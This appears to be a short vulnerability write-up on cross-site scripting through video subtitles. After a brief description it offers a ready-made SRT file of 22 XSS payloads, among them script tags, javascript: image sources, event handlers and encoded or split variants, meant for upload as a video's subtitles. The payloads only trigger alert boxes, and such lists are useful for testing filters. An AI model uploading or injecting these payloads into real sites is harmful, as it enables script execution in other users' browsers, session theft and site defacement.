XSS in subtitle
Author: Mohammad MortazaviZade
Description
It is possible for an attacker to execute JavaScript in a video’s subtitle. This is also referred to as XSS (Cross-Site Scripting). If a website loads subtitle separately in the browser then an attacker can run any HTML or JavaScript in video subtitles. It has been tested on some video services.
Examples
The attacker can save the mentioned contents below by the format of srt
and upload prepared srt
file as a video’s subtitles.
1
00:00:37,618 --\> 00:00:42,557
\<font color="\#ffff00"\>: '';\!--"\<XSS\>=&{()}\</font\>
2
00:00:58,425 --\> 00:01:00,704
<IMG SRC="javascript:alert('XSS');">
3
00:01:00,705 --\> 00:01:01,873
<IMG SRC=javascript:alert('XSS')>
4
00:01:02,225 --\> 00:01:04,519
<IMG SRC=javascript:alert('XSS')>
5
00:01:04,520 --\> 00:01:05,547
<IMG SRC=javascript:alert('XSS')>
6
00:01:05,864 --\> 00:01:08,117
<IMG SRC=javascript:alert('XSS')>
7
00:01:08,224 --\> 00:01:09,223
\<IMG """\>
<SCRIPT>
alert("XSS")
</SCRIPT>
"\>
8
00:01:09,224 --\> 00:01:10,434
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
9
00:01:11,384 --\> 00:01:12,427
<IMG SRC=# onmouseover="alert('xxs')">
10
00:01:15,504 --\> 00:01:17,506
<IMG SRC= onmouseover="alert('xxs')">
11
00:01:19,743 --\> 00:01:20,786
<IMG onmouseover="alert('xxs')">
12
00:01:24,183 --\> 00:01:25,351
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
13
00:01:40,663 --\> 00:01:41,705
<img src=xonerror="javascript:alert('XSS')">
14
00:01:42,703 --\> 00:01:45,742
\<IMG SRC=<javascript:alert>( 'XSS')\>
15
00:01:45,743 --\> 00:01:46,285
\<IMG SRC=&\#0000106&\#0000097&\#0000118&\#0000097&\#0000115&\#0000099&\#0000114&\#0000105&\#0000112&\#0000116&\#0000058&\#0000097&
\#0000108&\#0000101&\#0000114&\#0000116&\#0000040&\#0000039&\#0000088&\#0000083&\#0000083&\#0000039&\#0000041\>
16
00:01:48,503 --\> 00:01:49,545
<IMG SRC=javascript:alert('XSS')>
17
00:01:49,582 --\> 00:01:51,709
<IMG SRC=javascript:alert('XSS')>
18
00:01:54,822 --\> 00:01:58,200
<IMG SRC="jav ascript:alert('XSS');">
19
00:02:01,021 --\> 00:02:03,691
<IMG SRC="jav
ascript:alert('XSS');">
20
00:02:04,702 --\> 00:02:05,744
<IMG SRC="javascript:alert('XSS');">
21
00:02:15,700 --\> 00:02:18,536
\<IMG SRC="<javascript:alert>('XSS')"
22
00:02:18,740 --\> 00:02:22,619
\\";alert('XSS');//